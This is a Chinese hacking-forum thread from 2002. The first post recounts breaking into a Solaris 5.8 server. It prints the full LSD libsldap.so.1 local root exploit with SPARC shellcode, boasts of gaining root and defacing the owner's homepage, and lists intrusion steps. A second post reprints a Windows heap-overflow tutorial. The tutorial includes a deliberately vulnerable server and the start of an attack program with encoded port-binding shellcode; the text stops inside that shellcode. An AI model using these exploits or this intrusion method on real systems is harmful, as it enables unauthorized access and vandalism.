补充一点,gcc一般sunos5.8都装了,5.7则不一定 @_@ </P><P>这个代码是noir写的,倒~~~noir不是一个动画的名字吗>不过这个noir倒是我的偶像哦~~~ </P><P>编译后运行,倒!~~~失败,原因不明,估计也是那个该死的root做了些很bt的西西.倒~~~ </P><P>我这次真的火了 </P><P>$uname -a </P><P>SunOS sun250 5.8 Generic_108528-02 sun4u sparc SUNW,Ultra-250 </P><P>KAO,就是这个鸟版本,faint </P><P>我一气之下就去hack.co.za的镜像又拖了个exploit,呵呵,是lsd-pl写的,他们都东西我很喜欢,崇拜~~!!!!!!偶像!!!~~~!!!!@_@ </P><P>这个代码是hack.co.za上2001年7月才发布的,想必很多人都没有,赶快收好吧!! </P><P>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ </P><P>/*## copyright LAST STAGE OF DELIRIUM jun 2001 poland *://lsd-pl.net/ #*/
/*## libsldap.so.1 #*/ </P><P>#define NOPNUM 16000
#define ADRNUM 512 </P><P>char setuidcode[]=
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
; </P><P>char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
; </P><P>char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
; </P><P>static char nop[]="\x80\x1c\x40\x11"; </P><P>main(int argc,char **argv){
char buffer[30000],adr[4],*b,*envp[3];
int i,n=-1; </P><P> printf("copyright LAST STAGE OF DELIRIUM jun 2001 poland //lsd-pl.net/\n");
printf("libsldap.so.1 solaris 2.8 sparc\n\n"); </P><P> if(argc==1){
printf("usage: %s {passwd|chkey|sendmail}\n",argv[0]);exit(-1);
}
if(!strcmp(argv[1],"passwd")) n=0;
if(!strcmp(argv[1],"chkey")) n=1;
if(!strcmp(argv[1],"sendmail")) n=2;
if(n==-1) exit(-1); </P><P> *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+14900+8000; </P><P> envp[0]=&buffer[0];
envp[1]=&buffer[1000];
envp[2]=0; </P><P> b=&buffer[0];
sprintf(b,"LDAP_OPTIONS=");
b+=13;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0; </P><P> b=&buffer[1000];
sprintf(b,"xxx= ");
b+=4+2;
for(i=0;i<16000;i++) *b++=nop[i%4];
for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode;
*b=0; </P><P> switch(n){
case 0: execle("/usr/bin/passwd","lsd",0,envp);
case 1: execle("/usr/bin/chkey","lsd",0,envp);
case 2: execle("/usr/lib/sendmail","lsd",0,envp);
}
}
/* www.hack.co.za [10 July 2001]*/ </P><P>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ </P><P>
编译后运行,于是我成功的得到了root!!!!哈哈哈哈哈哈,这次可以真的开心的笑了!! </P><P>找到他主页后,替换成我的,嘻嘻,写上我和x-laser的名字 </P><P>好玩 </P><P>不过半小时后就恢复了~~~@_@faint,外国人办事效率就是高!!! </P><P>
总结:以上主要体现了入侵的思路
1.查点--知道ip,域名等
2.端口扫描,判断主机类型----nmap,嘿嘿
3.看个服务的banner----比如ftp啊,ssh之类,看有无可以利用的
4.实在没办法了再转向cgi与udp,因为这些往往是入侵的难点和安全设置中疏忽的地方!!!就如同上面这次入侵 </P><P>在整个过程中我协调了各种作战方法,整体来说还是比较满意 大家的思路可以参考红色警戒的ananlysist写的入侵思路 </P><P>我在这里还推荐一本书hackingguide1.3,也许我以后会翻译它吧 到packetstormsecurity.nl去找,呵呵. </P><P> 好了,今天下课,欢迎大家和我及幻影旅团联系,我是团长刺,我的QQ:5279239 </P><P></P><P>



----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-11.08:15:57   MSIE 6.0 Windows 98IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.28.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

Windows下的HEAP溢出及其利用
www.sandflee.net 2002-5-28 灰色轨迹


原创:isno(isno)
来源:http://www.xfocus.org

Windows下的HEAP溢出及其利用

一、概述
前一段时间ASP的溢出闹的沸沸扬扬,这个漏洞并不是普通的堆栈溢出,而是发生在HEAP中的溢出,这使大家重新认识到了Windows下的HEAP溢出的可利用性。其实WIN下的HEAP溢出比Linux和SOLARIS下面的还要简单得多,大家肯定已经都搞明白了,我来做是一个总结,以免自己将来忘了。由于缺乏这方面的资料及源代码,所有的分析结果都来自于反汇编和调试的分析,所以错误之处在所难免,敬请各位指正。

以下所有程序的测试环境为:
中文版Windows 2000 + SP2
VC++ 6.0

二、Windows的HEAP管理机制简述
同LINUX一样,Windows的HEAP区是程序动态分配一块内存区域。程序员一般调用C函数malloc/free或者C++的new/delete或者WIN32 API函数HeapAlloc/HeapFree来动态分配内存,这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap来进行实际的内存分配工作,所以我们只需要分析RtlAllocateHeap/RtlFreeHeap就行了。

对于一个进程来说可以有多个HEAP区,每一个HEAP的首地址以句柄来表示:hHeap,这也就是RtlAllocateHeap的第一个参数。每个HEAP区的整体结构如下:

+-------------------------------------------------------------------+
| HEAP总体管理结构区 | 双指针区 | 用户分配内存区 |
+-------------------------------------------------------------------+
^ ^
|_hHeap |_hHeap+0x178

heap总体管理结构区存放着一些用于HEAP总体管理的结构,这不是我们所关心的。双指针区存放着一些成对出现的指针,用于定位分配内存以及释放内存的位置,这可能是某种树结构,我还没完全搞清楚。用户分配内存区是用户动态分配内存时实际用到区域,也这是HEAP的主体。

当我们调用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)来分配内存时将进行以下操作:
对参数进行检查,如果dwBytes过大或小于0都按照出错处理,根据dwFlags来设置一些管理结构;
检查是否为DEBUG程序,对于DEBUG的程序与实际运行的程序每个内存块之间的结构是不同的,所以我们下面说到的都是以RELEASE版编译的实际运行的程序(不是在MSDEV中调试的程序);
根据要分配的内存的大小(dwBytes)决定不同的内存分配算法,我们只分析小于1024 bytes的情况;
从双指针区找到用户内存区的末尾位置,如果有足够的空间分配所需的内存,就在末尾+dwBytes+8的位置放置一对指针来指向双指针区的指向用户内存区末尾位置的地方;
在后面同时设置双指针区的指向用户内存区末尾位置的指针指向进行完分配之后的用户内存区末尾位置。这么说可能有点绕,不过这跟HEAP溢出没有太大的关系,所以我们就不细究了。

两块连续分配的内存块之间并不是紧挨着的,而是有8字节的管理结构,最末尾的一块内存后面还另外多了8字节的指针指向双指针区,就是上面提到过的。

假设有以下程序:
buf1 = HeapAlloc(hHeap, 0, 16);
buf2 = HeapAlloc(hHeap, 0, 16);
连续分配了两块16字节内存,实际在内存中(用户分配区)的情况是这样的:

第一次分配后:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte|4 byte|
+-----------------------------------------------+
| 用户内存 | 管理结构 | 两个指针 |

第二次分配后:
+---------------------------------------------------------------------------------+
| buf1 | 8 byte | buf2 | 8 byte |4 byte|4 byte|
+---------------------------------------------------------------------------------+
| 用户内存 | 管理结构 | 用户内存 | 管理结构 | 两个指针 |

在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作,其中会有一次写内存的操作:

77FCB397 mov [ecx], eax
77FCB399 mov [eax+4], ecx

这时的eax和ecx分别指向:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte|4 byte|
+---------------------------------^------^------+
| 用户内存 | 管理结构 |_eax |_ecx |

写到这里大家一定就明白HEAP溢出如何利用了吧?假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制函数的流程转向我们的shellcode了。

三、HEAP溢出的利用
上面就是这种溢出可以被利用的基本原理,下面我们就来看看具体是怎么回事。有这么一个程序:

/*
* Windows Heap overrun test - vul.c
* by isno
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
HANDLE hHeap;
char *buf1, *buf2;
char mybuf[] = "AAAAAAAAAAAAAAAABBBBBBBBXXXXYYYY";

//在进程的默认HEAP当中分配内存
hHeap=GetProcessHeap();

//先分配一块16字节内存buf1
buf1 = HeapAlloc(hHeap, 0, 16);

//把32字节的mybuf拷贝到16字节的buf1里面,发生溢出!
strcpy(buf1,mybuf);

//再次分配一块16字节的内存buf2,此时buf1还没有被释放
//由于buf1溢出了,所以当写内存的时候就会出错
buf2 = HeapAlloc(hHeap, 0, 16);

//释放这两块内存
HeapFree(hHeap, 0, buf1);
HeapFree(hHeap, 0, buf2);

return 0;
}

我们把这个程序用VC按照RELEASE方式编译,并在命令行下运行它(不要在MSDEV中调试运行)。如果你没有装SOFTICE的话就会弹出一个错误对话框显示:"0x77fcb397"指令引用的"0x59595959"内存。该内存不能为"written"。

可以注意到0x59595959就是YYYY,这就证明了程序在向YYYY指向的内存地址进行写操作,写的内容是什么呢?如果你启动了SOFTICE的话,运行这个程序的时候SOFTICE就会自动跳出来,并停在下面的指令处:

77FCB397 mov [ecx], eax

此时eax=0x58585858,ecx=0x59595959,因为0x59595959这个地址没有映射内存页面,所以执行这个指令的时候出错了。

0x58585858和0x59595959正是我们覆盖buf1所用的XXXX和YYYY,实际进行的内存分配操作就是上面我们说过的那样:

第一次分配后:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte|4 byte|
+-----------------------------------------------+
| 用户内存 | 管理结构 | 两个指针 |

溢出后:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte|4 byte|
+-----------------------------------------------+
| AAAAAAAAAAAAAAAA | BBBBBBBB | XXXX | YYYY |

这样当第二次分配buf2的时候就会把XXXX写入到YYYY所指向的地址当中去,由于XXXX和YYYY都是我们所能够控制的,所以我们就可以把shellcode地址写入到堆栈中保存的函数返回地址去,这样当函数返回的时候就会跳到我们的shellcode去执行。

当然这是比较理想的情况,实际上利用这个漏洞还有很多问题,下面我们以一个实际的例子来看看具体利用这个漏洞的情况。

四、实战
由于Windows下的溢出对于本地利用来说没有多大意义,所以我们一个存在HEAP溢出漏洞的网络程序为例:

/*
win_heap_vul.c
Windows下存在HEAP溢出漏洞的服务端程序
*/
#define PORT 1500
#define BUFFLEN 32 //分配内存的大小
#define COPYLEN 64 //实际拷贝的大小

#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int main()
{
WSADATA wsd;
SOCKET sListen, sClient;
struct sockaddr_in local, client;
int iAddrSize;
HANDLE hHeap;

char *buf1, *buf2;
char buff[4096];

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock!\n");
return 1;
}
//建立一个socket监听1500端口
sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
local.sin_addr.s_addr = htonl(INADDR_ANY);
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
if (bind(sListen, (struct sockaddr *)&local, sizeof(local)) == SOCKET_ERROR)
{
printf("bind() failed: %d\n", WSAGetLastError());
return 1;
}
listen(sListen, 8);
iAddrSize = sizeof(client);
sClient = accept(sListen, (struct sockaddr *)&client, &iAddrSize);
if (sClient == INVALID_SOCKET)
{
printf("accept() failed: %d\n", WSAGetLastError());
return 1;
}
printf("connect form: %s:%d\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));

//我们自己建立一个HEAP,以免破坏掉进程默认HEAP以后shellcode无法正常运行
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
//动态分配一块BUFFLEN大小的(32 bytes)的内存buf1
buf1 = HeapAlloc(hHeap, 0, BUFFLEN);
recv(sClient, buff, 4096, 0);
//注意:这里溢出的不是buff,而是buf1,
//buff是在栈中开辟的缓冲区,它的大小是4096,上面recv的也是4096,所以不会溢出
printf("recv1: %s\n", buff);
//将从客户端接受到的内容(即buff)拷贝到buf1中
//如果接受到的内容大于32字节将发生溢出
//这里错误的使用了COPYLEN(64 bytes),因此造成溢出
memcpy(buf1, buff, COPYLEN);
//如果覆盖到HEAP中的管理结构,那么当再次动态分配内存时将可能被利用
buf2 = HeapAlloc(hHeap, 0, BUFFLEN);
recv(sClient, buff, 4096, 0);
printf("recv2: %s\n", buf2);
HeapFree(hHeap, 0, buf1);
HeapFree(hHeap, 0, buf2);
closesocket(sListen);
WSACleanup();
return 0;
}

整个程序很简单,监听在1500端口,先分配了32字节的buf1,并把客户端发送过来的内容的前64字节拷贝到buf1里,这里是由于错误的使用了宏而发生的溢出(应该用BUFFLEN,但用了COPYLEN),这种情况在实际中也是很容易发生的。这样当再分配buf2的时候就会有写内存的操作,使得我们可以利用这个漏洞。

现在我们就可以写个攻击程序来溢出它,并且控制改写任意4字节的内存。那么到底改写什么地方比较合适呢?我想来想去有4种地方可以改写,用来控制去执行我们的shellcode:

1.堆栈中保存的函数返回地址
2.堆栈中保存的的异常处理指针
3.线程默认异常处理指针(顶层异常处理指针)
4.线程环境块(TEB)

1和2都是保存在堆栈中的地址,因此在不同的系统中可能是不一样的,如果改写这两个地址的话虽然也可能成功,但是无法保证程序的通用性,从实际攻击的成功率的角度考虑,就不能用这两种地址。

3是线程默认异常处理指针(即顶层异常处理指针),它在同一版本的操作系统中是一个固定的值。这里稍微介绍一下Windows结构化异常处理的基本原理。Windows的结构化异常处理(SEH)是一种对程序异常的处理机制,它是按照链式层状结构进行处理的。当线程中发生异常时,操作系统首先找到线程环境块TEB指向的第一个内存单元(即fs0])中所包含的地址,这个地址指向的地方存放着上一层异常链指针,而在这个地址+4的地方存放着最低层异常处理指针,操作系统就自动跳到这个指针所指向的函数去执行来进行异常处理。当这个函数无法对异常进行处理的时候,再根据上一层的异常链指针来寻找到上一层的异常处理指针来处理,如果所有的异常处理函数都无法处理这个异常,那么系统就使用默认异常处理指针(即顶层异常处理指针)来处理异常情况,就是这个函数:

LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

这个函数负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错的时候显示错误对话框的原因。

我们可以通过SetUnhandledExceptionFilter这个函数来设置默认异常处理指针,把SetUnhandledExceptionFilter反汇编一下可以发现它非常简单:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
)
.text:77E6BE11 SetUnhandledExceptionFilter proc near
.text:77E6BE11 mov ecx, [esp+lpTopLevelExceptionFilter]
.text:77E6BE15 mov eax, dword_77EBF44C
.text:77E6BE1A mov dword_77EBF44C, ecx
.text:77E6BE20 retn 4
.text:77E6BE20 SetUnhandledExceptionFilter endp
它所做的就只是把参数即用户指定的默认异常处理指针放入0x77ebf44c这个地址所指向的内存单元之中。然后UnhandledExceptionFilter在进行默认异常处理的时候就从0x77ebf44c中取出这个指针,然后跳到那里去执行。因此我们只要改写0x77ebf44c这个地址中的内容就可以改变默认异常处理的函数了,这个0x77ebf44c在同一版本(包括ServicePack版本)的系统当中应该是固定的(但是在一些系统中即使系统和SP的版本都相同,这个地址也不相同,不知道是为什么,可能是某些补丁修改了这个地址),在中文版Windows+SP2中就是0x77ebf44c,在别的版本中可能不一样,我写了个小程序来获取这个地址:

#include <stdio.h>
#include <windows.h>
void main()
{
unsigned int sehaddr;
int *un;
HMODULE hk = LoadLibrary("KERNEL32.dll");
un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
_asm{
mov eax,un
add eax,5
mov ebx,[eax]
mov sehaddr,ebx
}
printf("the top seh: 0x%x\r\n",sehaddr);
_getch();
return;
}

运行这个程序就可以获得你当前系统中存放默认异常处理的地址了。再回到我们HEAP溢出的问题上,我们可以通过改写默认异常处理来改变程序的流程,也就是改写0x77ebf44c这个内存单元的值为shellcode的地址。这是一个比较通用的方法,成功率也比较高。

还有一种方法是改写TEB即fs0]的地方,系统发生异常的时候会从这个地方取出最底层的异常链来进行异常处理,我们可以自己构造一个异常处理结构指向我们的shellcode,这样就可以达到控制程序流程的目的了,这个fs0]对于单线程的程序是比较固定的,但是对于多线程的不同线程会有所变化,所以还是不如改写默认异常处理好,因此我们最后决定改写默认异常处理的内存单元。

下面就是shellcode存放在哪里的问题了,我觉得这个问题没有通用的方法,要根据发生溢出的程序的情况而定,如果可以放在一个发生异常时有寄存器能够指向的地方那就是最完美的情况,这样就可以用一个系统DLL中有JMP EXX指令的地址来改写默认异常处理,其中EXX是指向shellcode的寄存器。但是这种情况似乎比较少见,一般shellcode也没办法放到这种位置上来,那就只能用shellcode的地址来直接定位,可以在shellcode前面放上大量NOP来提高成功率。对于前面那个漏洞程序,我们就使用shellcode的地址来改写默认异常处理的方法。

但是这里还有一个小问题,发生写内存操作的有两个指令:

77FCB397 mov [ecx], eax
77FCB399 mov [eax+4], ecx

这样不但会把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,这样就把shellcode中要执行的指令给破坏了。要解决这个问题,我们可以用一个jmp 6这样的指令来代替nop,这样就能够跳过后面被破坏的字节。

理论上的问题都解决了,现在就可以写出攻击程序来了:

/*
win_heap_exp.c
HEAP溢出漏洞的攻击程序
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

unsigned char shellcode[] =
//打开7788端口的shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x2b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30\x9c"
"\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41\x6d"
"\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e\x5d"
"\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x25\x30\x6f\x30\x42"
"\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa\xaa\xaa"
"\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e\x5d\x55"
"\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x42\xad"
"\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55\x55\xaa"
"\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa"
"\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x2b\x6b"
"\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x2b\x17\x30\x4e\x5d"
"\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30\x4e\x5d\x55\x55"
"\xaa\xaa\x5a\x15\x21\x3f\x30\x4e\x5d\x55\x55\x99\x6a\xcc\x21\xa8"
"\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab\xaa\xaa\x21\x27\x30"
"\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30\x4e\x5d\x55\x55\x99"
"\x63\xcc\x21\xa6\xba\x2b\x53\xfa\xef\xaa\xaa\xa5\x30\x6f\xd3\xab"
"\xaa\xaa\x21\x3f\x30\x4e\x5d\x55\x55\x21\xe8\x96\x21\x27\x30\x4e"
"\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x30\x4e\x5d\x55\x55\x23\x3f"
"\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6"
"\xa9\x27\x30\x4e\x5d\x55\x55\x23\x27\x36\x5d\x55\x55\x21\x3f\x36"
"\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa"
"\x21\x30\x6f\x36\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5\x30"
"\x6f\x8a\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d"
"\x55\x55\x21\x3f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55"
"\x55\xa9\xe8\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d"
"\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b"
"\xab\x23\x27\x32\x5d\x55\x55\x21\x3f\x36\x5d\x55\x55\x29\x68\xae"
"\x23\x3f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27"
"\x32\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x3f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\x96\xab\xed"
"\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x3f\x36\x5d\x55"
"\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5"
"\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x3f\x32\x5d\x55\x55"
"\xa9\x3f\x32\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21\x30\x6f"
"\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x30"
"\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d\x55\x55\x21\xfb\xba\x21"
"\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55\x23\x27\x36\x5d\x55\x55"
"\x21\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d"
"\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21"
"\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x36"
"\x5d\x55\x55\x21\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d"
"\x55\x55\x23\x30\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55"
"\x55\x43\xbc\x54\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce"
"\x30\x49\xaa\xaa\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf"
"\x43\xdf\xae\xaa\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc"
"\x23\x3f\x86\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a"
"\xa8\x23\x30\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x36\x5d\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x3f\xaa"
"\xaa\xaa\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x3f\x30"
"\x42\x5d\x55\x55\xf8\x55\x3f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x3f\x30"
"\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x3f\x36\x5d\x55"
"\x55\x23\x30\x6e\x3f\x1a\x5d\x55\x55\x41\xa5\x21\x30\x6f\x30\x42"
"\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55\x55\x21\x27"
"\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde\xa8\x41\xa8"
"\x41\x78\x21\x3f\x30\x42\x5d\x55\x55\x29\x68\xab\x23\x3f\x30\x42"
"\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0\xac\xc0\xab\xc0\xa8"
"\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f"
"\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d\x55\x55\xa8\xaa\xcc\x21"
"\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f\x90\x5d\x55\x55\x6d\x30"
"\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55\xaa\xde\xf5\x21\x5e\xc0"
"\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55"
"\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36"
"\x5d\x55\x55\xcc\x21\x30\x6f\x90\x5d\x55\x55\xcc\xaf\xaa\xab\xcc"
"\x23\x30\x6f\x90\x5d\x55\x55\x21\x27\x90\x5d\x55\x55\x2b\x4b\x55"
"\x55\xaa\xaa\x2b\x53\xaa\xab\xaa\xaa\xd7\xb8\xcc\x21\x3f\x90\x5d"
"\x55\x55\xcc\x29\x68\xab\xcc\x23\x3f\x90\x5d\x55\x55\x41\x32\x21"
"\x5e\xc0\xa0\x21\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x3f\x76\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63"
"\xa5\x30\x6e\x6c\xa8\xaa\xaa\x21\x5e\x27\x3f\x9e\x5d\x55\x55\xf8"
"\x27\x30\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55"
"\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2"
"\x5d\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30"
"\x6f\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\xaa\x5d\x55\x55\xf8\x27"
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x3f"
"\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa\x27"
"\x3f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa\x27\x27"
"\xba\x5d\x55\x55\xfb\x55\x3f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58"
"\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x30"
"\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x3f\xba\x5d\x55\x55\x23\x3f\x22"
"\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23\x30\x6f\x26\x5d\x55"
"\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d\x55\x55\x21\x5e\x27"
"\x3f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa\x5d\x55\x55\xfa\xc0\xaa"
"\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x30\x42\x5d\x55"
"\x55\xfb\xc0\xaa\x55\x3f\x16\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21\x5e\xc0\xaa\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\xc2\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55"
"\x55\xfa\x21\x27\xb2\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91"
"\x5e\x3a\xe9\xe1\xe9\xe1\x30\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5"
"\x30\x6e\xdf\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a"
